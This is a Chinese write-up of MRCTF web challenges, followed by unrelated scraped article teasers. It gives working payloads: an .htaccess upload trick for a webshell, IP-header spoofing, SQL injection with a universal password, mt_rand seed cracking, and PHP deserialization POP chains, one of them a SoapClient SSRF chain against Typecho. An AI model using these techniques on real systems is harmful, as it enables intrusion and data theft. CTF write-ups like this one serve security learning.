和武科大WUSTCTF同时打的一场比赛,最后因为精力放在武科大比赛上了,排名13 - -Web题目难度跨度过大,分不清层次,感觉Web题目分布不是很好,质量还是不错的
Ez_bypass
进入题目得到源码:
php
include 'flag.php';
$flag ='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if (isset ($_GET ['gg'])&&isset ($_GET ['id'])) {
$id =$_GET ['id'];
$gg =$_GET ['gg'];
if (md5 ($id ) === md5 ($gg ) && $id !== $gg ) {
echo 'You got the first step';
if (isset ($_POST ['passwd'])) {
$passwd =$_POST ['passwd'];
if (!is_numeric ($passwd ))
{
if ($passwd ==1234567)
{
echo 'Good Job!';
highlight_file ('flag.php');
die ('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else {
echo 'You can not get it !';
}
}
else {
die ('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else {
die ('Please input first');
}
}
?>
第一层: md5 ($id ) === md5 ($gg ) && $id !== $gg
MD5强相等,数组绕过即可 /index.php?id[]=1&gg[]=2
第二层: !is_numeric ($passwd ) && $passwd ==1234567
is_numeric()绕过:十六进制绕过、%00截断绕过、弱类型比较绕过均可 POST: passwd=1234567a
你传你呢
出题人脾气挺爆的啊,进入题目直接给了一个上传点:
fuzz一下发现后端过滤了所有拓展名中含ph的文件,并且有Content-Type验证
服务器是Apache,不难想到利用.htaccess来将jpg文件当作php文件解析
写一个.htaccess文件,源码如下:
SetHandler application /x-httpd-php
上传时注意抓包修改 Content-Type: image/jpeg
上传成功后上传一个jpg拓展名的一句话木马,得到Shell,Flag在根目录下:
PYwebsite
进入题目查看源代码得到一段验证的Js代码:
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if (hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert( "您通过了验证!");
window.location = "./flag.php"
} else {
alert( "你的授权码不正确!");
}
} else {
alert( "请输入授权码");
}
}
发现md5验证成功后会跳转到/flag.php,跟进文件看一下:
细品红框中的话,添加XFF头为127.0.0.1 X-Forwarded-For: 127.0.0.1 ,得到Flag:
(这里的一个坑是输出的Flag是白色的,如果没有用Burp或者其他工具看源码,就要右键框选一下文字才能看到)
套娃
第一层,Ctrl+U 查看源代码:
// 1st
$query = $_SERVER ['QUERY_STRING'];
if ( substr_count ($query , '_') !== 0 || substr_count ($query , '%5f') != 0 ){
die ('Y0u are So cutE!');
}
if ($_GET ['b_u_p_t'] !== '23333' && preg_match ('/^23333$/', $_GET ['b_u_p_t'])){
echo "you are going to the next ~";
}
NCTF原题改编,构造Payload:
第一个if判断:php会把空格( )或者点(.)自动替换成下划线(_),可以绕过
第二个if判断:prep_match()正则匹配,在23333后面加%0A绕过
最终Payload: b u p t=23333%0A 或 b.u.p.t=23333%0A
得到提示:FLAG is in secrettw.php
进入secrettw.php,右键源代码发现注释中有JsFuck,放进F12运行一下得到:
POST:Merak=1 即可得到源码:
php
error_reporting (0);
include 'takeip.php';
ini_set ('open_basedir','.');
include 'flag.php';
if (isset ($_POST ['Merak'])){
highlight_file (__FILE__ );
die (); // 注意这里!如果POST了Merak就会Die
}
// 重点在这个加密函数上
function change($v ){
$v = base64_decode ($v );
$re = '';
for ($i =0;$i <strlen ($v );$i ++){
$re .= chr ( ord ($v [$i ]) + $i *2 );
}
return $re ;
}
echo 'Local access only!'." ";
$ip = getIp();
if ($ip !='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip ;
if ($ip === '127.0.0.1' && file_get_contents ($_GET ['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET ['file']);
echo file_get_contents (change($_GET ['file'])); }
?>
分析思路:首先用file_get_contents()函数获取2333参数的内容,要求获取到的内容为todat is a happy day;其次是验证IP是否为127.0.0.1;最后是用解密函数对file参数解密,然后包含输出file参数的值;
第一层用data伪协议就可以直接绕过 index.php?2333=data:// text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
第二层IP验证测试了一下常用的Header,发现Client-IP可以绕过,添加Header: Client-IP: 127.0.0.1
第三层对file参数进行了一个解密,反推出加密脚本:
php
function enc($payload ){
for ($i =0; $i <strlen ($payload ); $i ++){
$re .= chr (ord ($payload [$i ])-$i *2);
}
return base64_encode ($re );
}
echo enc('flag.php');
// flag.php加密后得到:ZmpdYSZmXGI=
?>
最终Payload: index.php?2333=data:// text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=&file=ZmpdYSZmXGI=
Header添加: Client-IP: 127.0.0.1
Ezaudit
www.zip源码泄露,里面只有一个index.php文件:
php
header ('Content-type:text/html; charset=utf-8');
error_reporting (0);
if (isset ($_POST ['login'])){
$username = $_POST ['username'];
$password = $_POST ['password'];
$Private_key = $_POST ['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header ('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit ;
}
else if ($Private_key != '*************' )
{
header ('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit ;
}
else {
if ($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password '".';'; // 直接SQL注入 万能密码就能过去
$link =mysql_connect ("localhost","root","root");
mysql_select_db ("test",$link );
$result = mysql_query ($getuser );
while ($row =mysql_fetch_assoc ($result )){
echo "".$row ["username"]." ".$row ["flag"]." ";
}
}
}
}
// 代码简化了一下
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < 16; $i ++ )
$public_key .= substr ($strings1 , mt_rand (0, 61), 1); // BJDCTF 1st 枯燥的抽奖原题
return $public_key ;
}
// genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < 12; $i ++ )
$private_key .= substr ($strings2 , mt_rand (0, 61), 1);
return $private_key ;
}
$Public_key = public_key();
// $Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
大概看了一下,这段代码需要三个参数: username(crispr) 、 password(万能密码) 、 Private_key(私钥) 只要能正确输入账号和密码(密码直接用万能密码就可以)以及私钥就可以获得Flag。但是需要公私密钥,这里的突破点是使用了mr_rand()伪随机数函数,并且题目最后给出了公钥,思路也就是利用公钥推算出私钥进行SQL注入。 根据公钥爆破出mt_rand()的种子:
str1=' abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 '
str2 =' KVQP0LdJKRaV3n9D '
str3 = str1[::-1]
length = len(str2)
res =''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res +=str(j)+' ' +str(j)+' ' +' 0 ' +' ' +str(len(str1)-1)+' '
break
print res
得到种子后再用php_mt_seed爆破一下得到种子: seed = 0x69cf57fb = 1775196155 (PHP 5.2.1 to 7.0.x; HHVM)
写个脚本播撒种子,推出私钥:
php
mt_srand (1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length ; $i ++ )
$public_key .= substr ($strings1 , mt_rand (0, strlen ($strings1 ) - 1), 1);
return $public_key ;
}
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length ; $i ++ )
$private_key .= substr ($strings2 , mt_rand (0, strlen ($strings2 ) - 1), 1);
return $private_key ;
}
echo public_key()."\n";
echo private_key();
?>
得到私钥为 XuNhoueCDCGc
得到私钥,然后在login.html页面用万能密码登陆进去得到Flag
Ezpop
很适合入门者的一道简单反序列化构造Pop链的题目,进入题目,给出源码:
php
// flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var ;
public function append($value ){
include ($value );
}
public function __invoke(){
$this ->append($this ->var );
}
}
class Show{
public $source ;
public $str ;
public function __construct($file ='index.php'){
$this ->source = $file ;
echo 'Welcome to '.$this ->source." ";
}
public function __toString(){
return $this ->str->source;
}
public function __wakeup(){
if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i", $this ->source)) {
echo "hacker";
$this ->source = "index.php";
}
}
}
class Test{
public $p ;
public function __construct(){
$this ->p = array ();
}
public function __get($key ){
$function = $this ->p;
return $function ();
}
}
if (isset ($_GET ['pop'])){
@ unserialize ($_GET ['pop']);
}
else {
$a =new Show;
highlight_file (__FILE__ );
}
出题人还顺带给出了魔法函数的学习地址,这里列出来吧:
__construct() //当一个对象创建时被调用 __destruct() //当一个对象销毁时被调用 __toString() //当一个对象被当作一个字符串使用 __sleep() //在对象在被序列化之前运行 __wakeup() //将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过) __get() //获得一个类的成员变量时调用 __set() //设置一个类的成员变量时调用 __invoke() //调用函数的方式调用一个对象时的回应方法 __call() //当调用一个对象中的不能用的方法的时候就会执行这个函数
然后来分析一下这道题的pop链构造:
调用__wakeup() -> 触发__tostring() -> source属性不存在,触发Test类的__get()函数 -> 触发__invoke()函数 -> include ()包含文件(伪协议)
具体代码层面的逻辑分析可以看官方wp:
php
// flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var ;
public function append($value ){
include ($value );// 8.触发这个include,利用php base64 wrapper 读flag
}
public function __invoke(){
$this ->append($this ->var );// 7.然后会调用到这里
}
}
class Show{
public $source ;
public $str ;
public function __construct($file ='index.php'){
$this ->source = $file ;
echo 'Welcome to '.$this ->source." ";
}
public function __toString(){
return $this ->str->source;// 4.这里会调用str->source的__get 那么我们将其设置为Test对象
}
public function __wakeup(){// 2.如果pop是个Show,那么调用这里
if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i", $this ->source)) {// 3.匹配的时候会调用__toString
echo "hacker";
$this ->source = "index.php";
}
}
}
class Test{
public $p ;
public function __construct(){
$this ->p = array ();
}
public function __get($key ){
$function = $this ->p;// 5.触发到这里
return $function ();// 6.()会调用__invoke,我们这里选择Modifier对象
}
}
if (isset ($_GET ['pop'])){
@ unserialize ($_GET ['pop']);// 1.反序列调用这里
}
else {
$a =new Show;
highlight_file (__FILE__ );
}
Exp:
php
class Modifier{
protected $var ;
function __construct(){
$this ->var ="php://filter/convert.base64-encode/resource=flag.php";
}
}
class Test{
public $p ;
}
class Show{
public $source ;
public $str ;
}
$s = new Show();
$t = new Test();
$r = new Modifier();
$t ->p = $r ;
$s ->str = $t ;
$s ->source = $s ;
echo urlencode (serialize ($s ));
Ezpop Revenge
这道题当时没做出来,找到反序列化位点了,也知道是一个SOAP反序列化,但是就是没有找到输入点,也没查到调用类的地方,代码量太大最后也没审计出来。
题目中www.zip泄露源码,然后发现是typecho的源码,但是被魔改了一下,网上查不到有用的CVE,然后开始审计代码,最后在 HelloWorld/Plugin.php 找到反序列化点:
if (isset ($_POST ['C0incid3nc3'])) {
if (preg_match ("/file|assert|eval|op|sy|exec|dl|ini|pass|scan|log|[`\'~^?<>$%]+/i",base64_decode ($_POST ['C0incid3nc3'])) === 0)
unserialize (base64_decode ($_POST ['C0incid3nc3']));
else {
echo "Not that easy.";
}
// call_user_func("call_user_func",array($a,"233"));
}
class HelloWorld_DB{
private $flag ="MRCTF{this_is_a_fake_flag}";
private $coincidence ;
function __wakeup(){
$db = new Typecho_Db($this ->coincidence['hello'], $this ->coincidence['world']);
}
}
大部分师傅应该都做到了这里,接下来一步才是卡住师傅们的地方。
找到反序列化点之后我们需要找调用类的输入点,NotePad++用关键词搜了半天没搜到,最后发现在 Typecho/Plugin.php 里有一个路由:
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
放出官方的Exp:
php
class HelloWorld_DB{
private $flag ="MRCTF{this_is_a_fake_flag}";
private $coincidence ;
function __construct($coincidence ){
$this ->coincidence = $coincidence ;
}
function __wakeup(){
$db = new Typecho_Db($this ->coincidence['hello'], $this ->coincidence['world']);
}
}
class Typecho_Request{
private $_params ;
private $_filter ;
function __construct($params ,$filter ){
$this ->_params=$params ;
$this ->_filter=$filter ;
}
}
class Typecho_Feed{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array ();
public function addItem(array $item ){
$this ->_items[] = $item ;
}
}
$target = "http://127.0.0.1/flag.php";
$post_string = '';
$headers = array (
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
);
$a = new SoapClient(null ,array ('location' => $target ,
'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join ("\r\n",$headers )."\r\nContent-Length: ".(string )strlen ($post_string )."\r\n\r\n".$post_string ,
'uri' => "aaab"));
$payload1 = new Typecho_Request(array ('screenName'=>array ($a ,"233")),array ('call_user_func'));
$payload2 = new Typecho_Feed();
$payload2 ->addItem(array ('author' => $payload1 ));
$exp1 = array ('hello' => $payload2 , 'world' => 'typecho');
$exp = new HelloWorld_DB($exp1 );
echo serialize ($exp )."\n";
echo urlencode (base64_encode (serialize ($exp )));
用payload打一次刷新下页面var_dump()就会dumpflag出来了
Not So Web Application(谜之Web-Re)
这道题真的不想多说,放在Web分类里,最后其实是wasm的逆向调试,扔给Re师傅,Re师傅看到几百万行代码之后直接把我拉黑了!对,拉黑了!
官方的Wp也是只言片语,原谅我太菜了复现不出来:
首先是题目说明,这玩意本来没这么恶心(没伪装加上 User 和 SQL 那个 SVG) 本题主要难点在于 Web Assembly 至今没有个能用的调试器,所以需要多种手段动调+静态调试。 可以先通过和其他 Qt for Web Assembly 程序比对,去掉一大半疑似函数,同时可以通过搜索字符串(Incorrect等)确定大概相关函数位置。 同时通过给输入框塞入大量垃圾(>64KB,wasm基本内存单位)触发内存越界错误找到变量存储位置。最终在浏览器里动调和 wasm2c 的辅助可以找到flag加密后内容和比对算法。
你可能感兴趣的:([MRCTF]Web WriteUp)
SpringMVC执行流程(原理),通俗易懂
国服冰
SpringMVC spring mvc
SpringMVC执行流程(原理),通俗易懂一、图解SpringMVC流程二、进一步理解Springmvc的执行流程1、导入依赖2、建立展示的视图3、web.xml4、spring配置文件springmvc-servlet5、Controller6、tomcat配置7、访问的url8、视图页面一、图解SpringMVC流程图为SpringMVC的一个较完整的流程图,实线表示SpringMVC框架提
包含日志获取webshell
陈望_ning
日志文件关闭:Apache目录下的httpd.conf文件#ErrorLog"logs/error.log"#CustomLog"logs/access.log"common加#号为注释不产生日志文件如果去掉#将会在Apache/logs/目录下产生日志文件linux:access_logerror_logwindows:access.logerror.logaccess_log每一行记录了一次网
Selenium 特殊控件操作与 ActionChains 实践详解
小馋喵知识杂货铺
selenium 测试工具
1.下拉框单选操作(a)使用SeleniumSelect类(标准HTML标签)Selenium提供了内置的Select类用于操作标准下拉框,这种方式简单且直观。fromselenium.webdriver.support.uiimportSelect#定位下拉框dropdown=Select(driver.find_element("id","dropdown_id"))#通过以下三种方式选择单个
selenium特殊场景处理
Monica_ll
Selenium selenium chrome python
文章目录前言一、多窗口处理二、浏览器弹窗处理包含alert、confirm、prompt三、鼠标和键盘事件处理前言在使用selenium操作浏览器的过程中可能需要借助键盘和鼠标功能完成一些操作,或者操作弹窗处理,本文主要是整理自己工作过程中使用过的一些方法一、多窗口处理在实际测试过程中经常会有通过点击或者连接打开新的窗口,这种情况下就需要切换webDriver到对应浏览器对象才能操作新窗口的元素。
基于Python的AI健康助手:开发与部署全攻略
AI算力网络与通信
AI算力网络与通信原理 AI人工智能大数据架构 python 人工智能 开发语言 ai
基于Python的AI健康助手:开发与部署全攻略关键词:Python、AI健康助手、机器学习、自然语言处理、Flask、部署、健康管理摘要:本文将详细介绍如何使用Python开发一个AI健康助手,从需求分析、技术选型到核心功能实现,再到最终部署上线的完整过程。我们将使用自然语言处理技术理解用户健康咨询,通过机器学习模型提供个性化建议,并展示如何用Flask框架构建Web应用接口。文章包含大量实际代
Jupyter Notebook:数据科学的“瑞士军刀”
a小胡哦
机器学习基础 人工智能 机器学习
在数据科学的世界里,JupyterNotebook是一个不可或缺的工具,它就像是数据科学家手中的“瑞士军刀”,功能强大且灵活多变。今天,就让我们一起深入了解这个神奇的工具。一、JupyterNotebook是什么?JupyterNotebook是一个开源的Web应用程序,它允许你创建和共享包含实时代码、方程、可视化和解释性文本的文档。它支持多种编程语言,其中Python是最常用的语言之一。Jupy
selenium 特殊场景处理
文章目录前言一、windows的弹窗二、内嵌网页frame三、页签切换四、截图五、弹窗六、JS执行总结前言selenium处理web操作师,有很多特殊的情况需要处理,例如弹窗、内嵌网页,页签切换,js执行等,下面介绍一些可能会遇到的特殊场景一、windows的弹窗importwin32com.client'''创建了一个WScript.ShellCOM(ComponentObjectModel)对
Django学习笔记(一)
学习视频为:pythondjangoweb框架开发入门全套视频教程一、安装pipinstalldjango==****检查是否安装成功django.get_version()二、django新建项目操作1、新建一个项目django-adminstartprojectproject_name2、新建APPcdproject_namedjango-adminstartappApp注:一个project
新手如何通过github pages静态网站托管搭建个人网站和项目站点
vvandre
Web技术 github
一、githubpages静态网站托管介绍githubpages它是一个免费快捷的静态网站托管服务。对比传统建站,它有哪些优点呢?在传统方式中,首先要租用服务器,服务器上需要运行外部程序,还需要再购买域名,要配置SSL证书,最后还要配置DNS,将域名解析到服务器。这一套繁琐操作,基本上就把小白劝退了。graphTDA[租用服务器]-->B[部署Web应用(运行外部程序,如Nginx)]B-->C[
使用Python和Gradio构建实时数据可视化工具
PythonAI编程架构实战家
信息可视化 python 开发语言 ai
使用Python和Gradio构建实时数据可视化工具关键词:Python、Gradio、数据可视化、实时数据、Web应用、交互式界面、数据科学摘要:本文将详细介绍如何使用Python和Gradio框架构建一个实时数据可视化工具。我们将从基础概念开始,逐步深入到核心算法实现,包括数据处理、可视化技术以及Gradio的交互式界面设计。通过实际项目案例,读者将学习如何创建一个功能完整、响应迅速的实时数据
Python Gradio:实现交互式图像编辑
PythonAI编程架构实战家
Python编程之道 python 开发语言 ai
PythonGradio:实现交互式图像编辑关键词:Python,Gradio,交互式图像编辑,计算机视觉,深度学习,图像处理,Web应用摘要:本文将深入探讨如何使用Python的Gradio库构建交互式图像编辑应用。我们将从基础概念开始,逐步介绍Gradio的核心功能,并通过实际代码示例展示如何实现各种图像处理功能。文章将涵盖图像滤镜应用、对象检测、风格迁移等高级功能,同时提供完整的项目实战案例
登录功能详解
开往1982
java 登录 spring boot
本项目由maven项目改造springboot项目导入依赖org.springframework.bootspring-boot-starter-parent2.7.6org.springframework.bootspring-boot-starter-web2.7.6org.springframework.bootspring-boot-starter-test2.7.5org.springf
【Java Web实战】从零到一打造企业级网上购书网站系统 | 完整开发实录(三)
笙囧同学
java 前端 状态模式
核心功能设计用户管理系统用户管理是整个系统的基础,我设计了完整的用户生命周期管理:用户注册流程验证失败验证通过验证失败验证通过用户名已存在用户名可用失败成功用户访问注册页面填写注册信息前端表单验证显示错误提示提交到后端后端数据验证返回错误信息用户名唯一性检查提示用户名重复密码加密处理保存用户信息保存成功?显示系统错误注册成功跳转登录页面登录认证机制深度解析我实现了一套企业级的多层次安全认证机制:认
从零到一:基于差分隐私决策树的客户购买预测系统实战开发
笙囧同学
决策树 算法 机器学习
作者简介:笙囧同学,中科院计算机大模型方向硕士,全栈开发爱好者联系方式:
[email protected] 各大平台账号:笙囧同学座右铭:偷懒是人生进步的阶梯文章导航快速导航前言-项目背景与价值项目概览-系统架构与功能技术深度解析-核心算法原理️系统实现详解-工程实践细节性能评估与分析-实验结果分析Web系统开发-前后端开发部署与运维-DevOps实践完整复现指南-手把手教程️实践案例与故障排除-问
14.tornado操作之应用Websocket协议实现聊天室功能
孤寒者
Tornado框架从入门到实战 websocket tornado 聊天室功能实现 python
目录:每篇前言:1.什么是WebSocket(1)定义(2)优点(3)和HTTP对比(4)适用场景2.WebSocket关键方法3.本tornado项目中使用WebSocket(1)准备一个聊天室的页面:第一步:编写视图:第二步:编写接口:(app.py中加入以下接口!)第三步:编写前端页面:测试接口——响应OK!(2)使用WebSocket:(3)聊天室的聊天功能的最终实现:第一步:战前准备第二
webSocket双向通信
@泽栖
websocket 网络协议 网络
webSocket基础使用webSocket小说明:作用浏览器与服务器全双工通信——浏览器和服务器只需要完成一次握手,两者之间就可以创建持久性的连接,并进行双向数据传输。WebSocket与HTTP最大的区别HTTP通信是单向的,基于请求响应模式WebSocket支持双向通信。实现长连接适用场景:消息通信,视频弹幕,实时信息,等双向通信的使用需求使用:引入maven依赖org.springfram
java web开发实战经典 当当_java web项目实战开发
飞翔的酋长大人
java web开发实战经典 当当
本书以问题为导向,涵盖JavaWeb开发技术中所有的核心知识点;实战开发案例丰富,所有的知识案例都来源于企业真实项目,实战性和可操作性强;代码注释详细准确,结构简洁清晰;语言简明易懂,由浅入深地带你学会JavaWeb技术及应用。本书面向广大Java开发工程师和普通高校学生,可作为高等学校计算机及其相关专业Web编程技术课程教材,也可供从事JavaWeb应用开发的技术人员学习参考。¥80.00定价:
构建高性能Web应用:深入Spring WebFlux
李多田
本文还有配套的精品资源,点击获取简介:SpringWebFlux是Spring框架的一部分,支持反应式编程模型,适合高并发和低延迟Web应用。它提供了非阻塞I/O和事件驱动模型,优化了多核处理器资源的使用。SpringWebFlux拥有两种编程模式,核心组件包括WebHandler,RouterFunction,WebFilter,和WebSession。它与高性能服务器集成,并提供反应式HTTP
为什么学习Web前端一定要掌握JavaScript?
web前端学习指南
为什么学习Web前端一定要掌握JavaScript?在前端的世界里,没有什么是JavaScript实现不了的,关于JS有一句话:凡是可以用JavaScript来写的应用,最终都会用JavaScript,JavaScript可运行在所有主要平台的所有主流浏览器上,也可运行在每一个主流操作系统的服务器端上。现如今我们在为网站写任何一个主要功能的时候都需要有懂能够用JavaScript写前端的开发人员。
使用Java和Spring WebFlux构建响应式微服务
微赚淘客系统开发者@聚娃科技
java spring 开发语言
使用Java和SpringWebFlux构建响应式微服务大家好,我是微赚淘客系统3.0的小编,是个冬天不穿秋裤,天冷也要风度的程序猿!今天我们将探讨如何使用Java和SpringWebFlux构建响应式微服务。SpringWebFlux是Spring框架的一部分,专为创建响应式应用程序而设计。在这篇文章中,我们将介绍如何使用SpringWebFlux构建响应式微服务,包括基本概念、代码示例以及如何
【Spring WebFlux】为什么 Spring 要拥抱响应式
会飞的架狗师
Spring WebFlux spring java 后端
在现代分布式系统中,响应式系统已成为应对高并发、低延迟需求的核心方案。但构建响应式系统并非易事——它需要框架级别的支持来解决异步处理、资源调度、背压控制等底层问题。作为Java生态中最具影响力的框架,Spring对响应式的支持并非偶然,而是技术演进的必然选择。本文将从响应式系统的构建挑战出发,剖析Spring拥抱响应式的底层逻辑。一、响应式系统的构建困境:现有方案的局限性响应式系统的核心诉求是在有
Java朴实无华按天计划从入门到实战(强化速战版-66天)
岫珩
Java 后端 java 开发语言 学习 Java 时间安排 学习计划
致敬读者感谢阅读笑口常开生日快乐⬛早点睡觉博主相关博主信息博客首页专栏推荐活动信息文章目录Java朴实无华按天计划从入门到实战(强化速战版-66天)1.基础(18)1.1JavaSE核心(5天)1.2数据库与SQL(5天)1.3前端基础(8天)2.进阶(17天)2.1JavaWeb核心(5天)2.2Mybatis与Spring全家桶(6天)2.3中间件入门(4天)2.4实践项目(2天)3.高阶(1
响应式编程实践:Spring Boot WebFlux构建高性能非阻塞服务
fanxbl957
Web spring boot 后端 java
博主介绍:Java、Python、js全栈开发“多面手”,精通多种编程语言和技术,痴迷于人工智能领域。秉持着对技术的热爱与执着,持续探索创新,愿在此分享交流和学习,与大家共进步。全栈开发环境搭建运行攻略:多语言一站式指南(环境搭建+运行+调试+发布+保姆级详解)感兴趣的可以先收藏起来,希望帮助更多的人响应式编程实践:SpringBootWebFlux构建高性能非阻塞服务一、引言在当今数字化时代,互
Docker部署Minio
YiShuoChen666
eureka 云原生 docker minio
一、拉取镜像dockerpullminio/minio:RELEASE.2025-04-22T22-12-26Z注:这里使用的版本是RELEASE.2025-04-22T22-12-26Z,最新的版本Web-UI界面没有管理bucket和其它的操作按钮,需要通过mc命令来实现,这对于新手很不友好二、创建目录,来存放minio的配置和将来放的文件mkdir-p/home/minio/configmk
使用 C# 实现 FTP 上传的方法,包括详细的代码示例和测试代码
zhxup606
李工篇 C#实战教程 c# 开发语言
以下是使用C#实现FTP上传的方法,包括详细的代码示例和测试代码。以下代码使用System.Net.FtpWebRequest实现文件上传,并附带一个简单的测试用例。C#FTP上传方法csharpusingSystem;usingSystem.IO;usingSystem.Net;publicclassFtpClient{//////上传文件到FTP服务器//////FTP服务器地址,例如ftp:
《跨域资源共享CORS的深层逻辑与前端实践精要》
不同源头的资源交互已成为常态,而跨域资源共享(CORS)正是支撑这种交互的隐形架构。现代Web安全体系中平衡开放与防护的精妙设计。理解CORS的深层逻辑,不仅能解决实际开发中的跨域难题,更能触及网络安全与资源流通的核心矛盾,为前端工程师构建稳健的应用提供底层认知支撑。跨域资源共享的诞生,源于网络安全与应用发展的必然冲突。浏览器的同源策略,作为早期网络安全的基石,通过限制不同源文档的交互,有效阻挡了
【移动端知识】移动端多 WebView 互访方案:Android、iOS 与鸿蒙实现
问道飞鱼
前端开发技术 harmonyos android ios 多webview互访
移动端多WebView互访方案:Android、iOS与鸿蒙实现移动端多WebView互访方案:Android、iOS与鸿蒙实现一、核心架构设计二、Android平台实现1.基础通信架构2.控制器实现3.WebView安全配置三、iOS平台实现(Swift)1.WKWebView通信桥接2.AppDelegate路由控制四、鸿蒙平台实现(HarmonyOS)1.WebView通信桥接2.Abili
3步搞定群晖NAS Synology Drive远程同步Obsidian笔记
文章目录1.简介1.1软件特色演示:2.使用免费群晖虚拟机搭建群晖SynologyDrive服务,实现局域网同步2.1安装并设置SynologyDrive套件2.1局域网内同步文件测试3.内网穿透群晖SynologyDrive,实现异地多端同步3.1安装Cpolar步骤4.实现固定TCP地址同步1.简介之前我们介绍过如何免费多端同步Zotero科研文献管理软件,使用了群晖NAS虚拟机和WebDav
native.js设置可缩放的webview并隐藏缩放控件
Nanayai
需求明确:webview页面可以手指缩放,并且不要那个原生控件;实现思路:1.使用h5+封装好的方法:设置scalable属性,并在html中设置meta标签:user-scalable=yes或不设置,minimum-scale和maximum-scale需要注意不要都设为1:mui.openWindow({url:"someThing",id:"someThing",styles:{scala
大厂都在用的前端缓存策略,你掌握了吗?
AI架构全栈开发实战笔记
前端 缓存 ai
大厂都在用的前端缓存策略,你掌握了吗?关键词:前端缓存、HTTP缓存、ServiceWorker、CDN缓存、缓存策略、性能优化、浏览器缓存摘要:本文将深入探讨前端开发中常用的缓存策略,从浏览器缓存到ServiceWorker,从HTTP缓存头到CDN缓存,全面解析大厂都在使用的高效缓存技术。通过生动的比喻和实际代码示例,帮助开发者理解并掌握这些提升Web应用性能的关键技术。背景介绍目的和范围本文
Dom
周华华
JavaScript html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml&q
【Spark九十六】RDD API之combineByKey
bit1129
spark
1. combineByKey函数的运行机制
RDD提供了很多针对元素类型为(K,V)的API,这些API封装在PairRDDFunctions类中,通过Scala隐式转换使用。这些API实现上是借助于combineByKey实现的。combineByKey函数本身也是RDD开放给Spark开发人员使用的API之一
首先看一下combineByKey的方法说明:
msyql设置密码报错:ERROR 1372 (HY000): 解决方法详解
daizj
mysql 设置密码
MySql给用户设置权限同时指定访问密码时,会提示如下错误:
ERROR 1372 (HY000): Password hash should be a 41-digit hexadecimal number;
问题原因:你输入的密码是明文。不允许这么输入。
解决办法:用select password('你想输入的密码');查询出你的密码对应的字符串,
然后
路漫漫其修远兮 吾将上下而求索
周凡杨
学习 思索
王国维在他的《人间词话》中曾经概括了为学的三种境界古今之成大事业、大学问者,罔不经过三种之境界。“昨夜西风凋碧树。独上高楼,望尽天涯路。”此第一境界也。“衣带渐宽终不悔,为伊消得人憔悴。”此第二境界也。“众里寻他千百度,蓦然回首,那人却在灯火阑珊处。”此第三境界也。学习技术,这也是你必须经历的三种境界。第一层境界是说,学习的路是漫漫的,你必须做好充分的思想准备,如果半途而废还不如不要开始。这里,注
Hadoop(二)对话单的操作
朱辉辉33
hadoop
Debug:
1、
A = LOAD '/user/hue/task.txt' USING PigStorage(' ')
AS (col1,col2,col3);
DUMP A;
//输出结果前几行示例:
(>ggsnPDPRecord(21),,)
(-->recordType(0),,)
(-->networkInitiation(1),,)
web报表工具FineReport常用函数的用法总结(日期和时间函数)
老A不折腾
finereport 报表工具 web开发
web报表工具FineReport常用函数的用法总结(日期和时间函数)
说明:凡函数中以日期作为参数因子的,其中日期的形式都必须是yy/mm/dd。而且必须用英文环境下双引号(" ")引用。
DATE
DATE(year,month,day):返回一个表示某一特定日期的系列数。
Year:代表年,可为一到四位数。
Month:代表月份。
c++ 宏定义中的##操作符
墙头上一根草
C++
#与##在宏定义中的--宏展开 #include <stdio.h> #define f(a,b) a##b #define g(a) #a #define h(a) g(a) int main() { &nbs
分析Spring源代码之,DI的实现
